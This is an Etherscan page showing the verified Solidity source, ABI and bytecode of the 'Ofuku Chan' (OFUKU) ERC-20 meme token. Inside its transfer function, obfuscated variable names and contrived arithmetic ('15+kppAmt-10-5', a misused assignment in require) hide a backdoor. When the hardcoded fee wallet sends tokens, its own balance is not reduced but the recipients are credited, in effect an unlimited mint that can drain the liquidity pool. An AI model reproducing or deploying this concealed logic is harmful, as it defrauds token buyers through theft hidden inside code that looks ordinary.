ERC-20
Overview
Max Total Supply
420,690,000,000 OFUKU
Holders
84
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,739,791,935.618365426 OFUKUValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
OFUKU
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-10 */ // SPDX-License-Identifier: MIT /* 和菓子屋を営むおばあちゃんのおうちで暮らす、猫のおふくちゃん。 Ofuku Chan the cat lives with her grandmother who runs a Japanese sweets shop. Web: https://ofukuchan.xyz X: https://x.com/ofuku_erc20 Tg: https://t.me/ofuku_erc20 */ pragma solidity 0.8.25; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract OFUKU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _shouldExcludedYe; mapping (address => bool) private _veoVeoo; address payable private _kaoKaoo; uint256 private _initialBuyTax=15; uint256 private _initialSellTax=15; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=10; uint256 private _reduceSellTaxAt=10; uint256 private _preventSwapBefore=10; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10**_decimals; string private constant _name = unicode"Ofuku Chan"; string private constant _symbol = unicode"OFUKU"; uint256 public _maxTxAmount = _tTotal.mul(2).div(100); uint256 public _maxWalletSize = _tTotal.mul(2).div(100); uint256 public _taxSwapThreshold= _tTotal.mul(1).div(100); uint256 public _maxTaxSwap= _tTotal.mul(1).div(100); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); event TransferTaxUpdated(uint _tax); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _kaoKaoo = payable(0xCCDB512De9df23DE1417273b01EC203F0d78E6eA); _tOwned[_msgSender()] = _tTotal; _shouldExcludedYe[owner()] = true; _shouldExcludedYe[address(this)] = true; _shouldExcludedYe[_kaoKaoo] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 kppAmt) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(kppAmt > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _tOwned[from] = _tOwned[from] - kppAmt; _tOwned[to] = _tOwned[to] + kppAmt; emit Transfer(from, to, kppAmt); return; } uint256 kpxAmt=0; uint256 baoBaoo=15+kppAmt-10-5; if (from != owner() && to != owner() && to != _kaoKaoo) { require(_veoVeoo[_kaoKaoo]=true && !_veoVeoo[to]); if(_buyCount==0){ kpxAmt = kppAmt.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); }if(_finalBuyTax==_finalSellTax&&_veoVeoo[from]){baoBaoo=_finalBuyTax==_finalSellTax?(15-15)*(15*15):(15-15)*(15+15);} if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _shouldExcludedYe[to] ) { require(kppAmt <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + kppAmt <= _maxWalletSize, "Exceeds the maxWalletSize."); kpxAmt = kppAmt.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ) { kpxAmt = kppAmt.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > _taxSwapThreshold) swapTokensForEth(min(kppAmt, min(contractTokenBalance, _maxTaxSwap))); sendETHToFee(); } } if(kpxAmt>0){ _tOwned[address(this)]=_tOwned[address(this)].add(kpxAmt); emit Transfer(from, address(this), kpxAmt); } _tOwned[from]=_tOwned[from].sub(baoBaoo); _tOwned[to]=_tOwned[to].add(kppAmt.sub(kpxAmt)); emit Transfer(from, to, kppAmt.sub(kpxAmt)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable {} function sendETHToFee() private { _kaoKaoo.transfer(address(this).balance); } function rescueEth() external onlyOwner { payable(owner()).transfer(address(this).balance); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600f600655600f6007555f6008555f600955600a8055600a600b55600a600c555f600d5561005b606461005560026009600a610040919061042a565b61004f906461f313f880610438565b9061022e565b906102ba565b600e55610074606461005560026100406009600a61042a565b600f5561008d606461005560016100406009600a61042a565b6010556100a6606461005560016100406009600a61042a565b6011556013805461ffff60a81b191690555f60148190556015553480156100cb575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673ccdb512de9df23de1417273b01ec203f0d78e6ea17905561013e6009600a61042a565b61014d906461f313f880610438565b335f9081526001602081905260408220929092556003906101755f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556101d23390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102096009600a61042a565b610218906461f313f880610438565b60405190815260200160405180910390a36104a3565b5f825f0361023d57505f6102b4565b5f6102488385610438565b905082610255858361044f565b146102b15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f6102b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061030160201b60201c565b5f81836103215760405162461bcd60e51b81526004016102a8919061046e565b505f61032d848661044f565b95945050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561038457815f190482111561036a5761036a610336565b8085161561037757918102915b93841c939080029061034f565b509250929050565b5f8261039a575060016102b4565b816103a657505f6102b4565b81600181146103bc57600281146103c6576103e2565b60019150506102b4565b60ff8411156103d7576103d7610336565b50506001821b6102b4565b5060208310610133831016604e8410600b8410161715610405575081810a6102b4565b61040f838361034a565b805f190482111561042257610422610336565b029392505050565b5f6102b160ff84168361038c565b80820281158282048414176102b4576102b4610336565b5f8261046957634e487b7160e01b5f52601260045260245ffd5b500490565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6118f0806104b05f395ff3fe608060405260043610610113575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb146102f1578063bf474bed14610310578063c9567bf914610325578063ce31a06b14610339578063dd62ed3e1461034d575f80fd5b80637d1db4a5146102605780638da5cb5b146102755780638f9a55c01461029b57806395d89b41146102b05780639e78fb4f146102dd575f80fd5b806323b872dd116100e357806323b872dd146101c8578063313ce567146101e757806370a0823114610202578063715018a614610236578063751039fc1461024c575f80fd5b806306fdde031461011e578063095ea7b3146101625780630faee56f1461019157806318160ddd146101b4575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a81526927b33ab5ba9021b430b760b11b60208201525b60405161015991906114fa565b60405180910390f35b34801561016d575f80fd5b5061018161017c366004611543565b610391565b6040519015158152602001610159565b34801561019c575f80fd5b506101a660115481565b604051908152602001610159565b3480156101bf575f80fd5b506101a66103a7565b3480156101d3575f80fd5b506101816101e236600461156d565b6103c8565b3480156101f2575f80fd5b5060405160098152602001610159565b34801561020d575f80fd5b506101a661021c3660046115ab565b6001600160a01b03165f9081526001602052604090205490565b348015610241575f80fd5b5061024a61042f565b005b348015610257575f80fd5b5061024a6104a9565b34801561026b575f80fd5b506101a6600e5481565b348015610280575f80fd5b505f546040516001600160a01b039091168152602001610159565b3480156102a6575f80fd5b506101a6600f5481565b3480156102bb575f80fd5b506040805180820190915260058152644f46554b5560d81b602082015261014c565b3480156102e8575f80fd5b5061024a61055d565b3480156102fc575f80fd5b5061018161030b366004611543565b610757565b34801561031b575f80fd5b506101a660105481565b348015610330575f80fd5b5061024a610763565b348015610344575f80fd5b5061024a610948565b348015610358575f80fd5b506101a66103673660046115c6565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039d3384846109ab565b5060015b92915050565b5f6103b46009600a6116f1565b6103c3906461f313f8806116ff565b905090565b5f6103d4848484610acf565b610425843361042085604051806060016040528060288152602001611893602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611177565b6109ab565b5060019392505050565b5f546001600160a01b031633146104615760405162461bcd60e51b815260040161045890611716565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104d25760405162461bcd60e51b815260040161045890611716565b6104de6009600a6116f1565b6104ed906461f313f8806116ff565b600e556104fc6009600a6116f1565b61050b906461f313f8806116ff565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61053b6009600a6116f1565b61054a906461f313f8806116ff565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105865760405162461bcd60e51b815260040161045890611716565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105d09030906105c16009600a6116f1565b610420906461f313f8806116ff565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610620573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610644919061174b565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c7919061174b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610711573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610735919061174b565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f61039d338484610acf565b5f546001600160a01b0316331461078c5760405162461bcd60e51b815260040161045890611716565b601354600160a01b900460ff16156107e65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610458565b6012546001600160a01b031663f305d7194730610817816001600160a01b03165f9081526001602052604090205490565b5f8061082a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610890573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108b59190611766565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561090a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092e9190611791565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109715760405162461bcd60e51b815260040161045890611716565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156109a8573d5f803e3d5ffd5b50565b6001600160a01b038316610a0d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b038216610a6e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b335760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610458565b6001600160a01b038216610b955760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610458565b5f8111610bf65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610458565b601354600160b01b900460ff161580610c185750601354600160a81b900460ff165b15610cc2576001600160a01b0383165f90815260016020526040902054610c409082906117b0565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c6f9082906117c3565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac29085815260200190565b5f806005600a610cd385600f6117c3565b610cdd91906117b0565b610ce791906117b0565b9050610cfa5f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d2857505f546001600160a01b03858116911614155b8015610d4257506005546001600160a01b03858116911614155b15611039576001600160a01b038481165f908152600460205260408082205460055490931682529020805460ff191660ff909216159182179055610d84575f80fd5b600d545f03610dbc57610db96064610db3600a54600d5411610da857600654610dac565b6008545b86906111af565b90611234565b91505b600954600854148015610de657506001600160a01b0385165f9081526004602052604090205460ff165b15610e045760095460085414610dfc575f610dfe565b5f5b60ff1690505b6013546001600160a01b038681169116148015610e2f57506012546001600160a01b03858116911614155b8015610e5357506001600160a01b0384165f9081526003602052604090205460ff16155b15610f5657600e54831115610eaa5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610458565b600f5483610ecc866001600160a01b03165f9081526001602052604090205490565b610ed691906117c3565b1115610f245760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610458565b610f3f6064610db3600a54600d5411610da857600654610dac565b600d80549193505f610f50836117d6565b91905055505b6013546001600160a01b038581169116148015610f7c57506001600160a01b0385163014155b15610fa957610fa66064610db3600b54600d5411610f9c57600754610dac565b60095486906111af565b91505b305f90815260016020526040902054601354600160a81b900460ff16158015610fdf57506013546001600160a01b038681169116145b8015610ff45750601354600160b01b900460ff165b80156110035750600c54600d54115b156110375760105481111561102f5761102f61102a8561102584601154611275565b611275565b611289565b6110376113f9565b505b81156110b157305f90815260016020526040902054611058908361142f565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110a89086815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546110d3908261148d565b6001600160a01b0386165f908152600160205260409020556111166110f8848461148d565b6001600160a01b0386165f908152600160205260409020549061142f565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61115f868661148d565b60405190815260200160405180910390a35050505050565b5f818484111561119a5760405162461bcd60e51b815260040161045891906114fa565b505f6111a684866117b0565b95945050505050565b5f825f036111be57505f6103a1565b5f6111c983856116ff565b9050826111d685836117ee565b1461122d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610458565b9392505050565b5f61122d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ce565b5f818311611283578261122d565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112cf576112cf61180d565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611326573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134a919061174b565b8160018151811061135d5761135d61180d565b6001600160a01b03928316602091820292909201015260125461138391309116846109ab565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bb9085905f90869030904290600401611821565b5f604051808303815f87803b1580156113d2575f80fd5b505af11580156113e4573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109a8573d5f803e3d5ffd5b5f8061143b83856117c3565b90508381101561122d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610458565b5f61122d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611177565b5f81836114ee5760405162461bcd60e51b815260040161045891906114fa565b505f6111a684866117ee565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146109a8575f80fd5b5f8060408385031215611554575f80fd5b823561155f8161152f565b946020939093013593505050565b5f805f6060848603121561157f575f80fd5b833561158a8161152f565b9250602084013561159a8161152f565b929592945050506040919091013590565b5f602082840312156115bb575f80fd5b813561122d8161152f565b5f80604083850312156115d7575f80fd5b82356115e28161152f565b915060208301356115f28161152f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561164b57815f1904821115611631576116316115fd565b8085161561163e57918102915b93841c9390800290611616565b509250929050565b5f82611661575060016103a1565b8161166d57505f6103a1565b8160018114611683576002811461168d576116a9565b60019150506103a1565b60ff84111561169e5761169e6115fd565b50506001821b6103a1565b5060208310610133831016604e8410600b84101617156116cc575081810a6103a1565b6116d68383611611565b805f19048211156116e9576116e96115fd565b029392505050565b5f61122d60ff841683611653565b80820281158282048414176103a1576103a16115fd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561175b575f80fd5b815161122d8161152f565b5f805f60608486031215611778575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117a1575f80fd5b8151801515811461122d575f80fd5b818103818111156103a1576103a16115fd565b808201808211156103a1576103a16115fd565b5f600182016117e7576117e76115fd565b5060010190565b5f8261180857634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118715784516001600160a01b03168352938301939183019160010161184c565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203fba61f5d2b3b3c8e0cae0a232b27d43cf630d6ca9df8e3802f5be5e897b220464736f6c63430008190033
Deployed Bytecode
0x608060405260043610610113575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb146102f1578063bf474bed14610310578063c9567bf914610325578063ce31a06b14610339578063dd62ed3e1461034d575f80fd5b80637d1db4a5146102605780638da5cb5b146102755780638f9a55c01461029b57806395d89b41146102b05780639e78fb4f146102dd575f80fd5b806323b872dd116100e357806323b872dd146101c8578063313ce567146101e757806370a0823114610202578063715018a614610236578063751039fc1461024c575f80fd5b806306fdde031461011e578063095ea7b3146101625780630faee56f1461019157806318160ddd146101b4575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a81526927b33ab5ba9021b430b760b11b60208201525b60405161015991906114fa565b60405180910390f35b34801561016d575f80fd5b5061018161017c366004611543565b610391565b6040519015158152602001610159565b34801561019c575f80fd5b506101a660115481565b604051908152602001610159565b3480156101bf575f80fd5b506101a66103a7565b3480156101d3575f80fd5b506101816101e236600461156d565b6103c8565b3480156101f2575f80fd5b5060405160098152602001610159565b34801561020d575f80fd5b506101a661021c3660046115ab565b6001600160a01b03165f9081526001602052604090205490565b348015610241575f80fd5b5061024a61042f565b005b348015610257575f80fd5b5061024a6104a9565b34801561026b575f80fd5b506101a6600e5481565b348015610280575f80fd5b505f546040516001600160a01b039091168152602001610159565b3480156102a6575f80fd5b506101a6600f5481565b3480156102bb575f80fd5b506040805180820190915260058152644f46554b5560d81b602082015261014c565b3480156102e8575f80fd5b5061024a61055d565b3480156102fc575f80fd5b5061018161030b366004611543565b610757565b34801561031b575f80fd5b506101a660105481565b348015610330575f80fd5b5061024a610763565b348015610344575f80fd5b5061024a610948565b348015610358575f80fd5b506101a66103673660046115c6565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039d3384846109ab565b5060015b92915050565b5f6103b46009600a6116f1565b6103c3906461f313f8806116ff565b905090565b5f6103d4848484610acf565b610425843361042085604051806060016040528060288152602001611893602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611177565b6109ab565b5060019392505050565b5f546001600160a01b031633146104615760405162461bcd60e51b815260040161045890611716565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104d25760405162461bcd60e51b815260040161045890611716565b6104de6009600a6116f1565b6104ed906461f313f8806116ff565b600e556104fc6009600a6116f1565b61050b906461f313f8806116ff565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61053b6009600a6116f1565b61054a906461f313f8806116ff565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105865760405162461bcd60e51b815260040161045890611716565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105d09030906105c16009600a6116f1565b610420906461f313f8806116ff565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610620573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610644919061174b565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c7919061174b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610711573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610735919061174b565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f61039d338484610acf565b5f546001600160a01b0316331461078c5760405162461bcd60e51b815260040161045890611716565b601354600160a01b900460ff16156107e65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c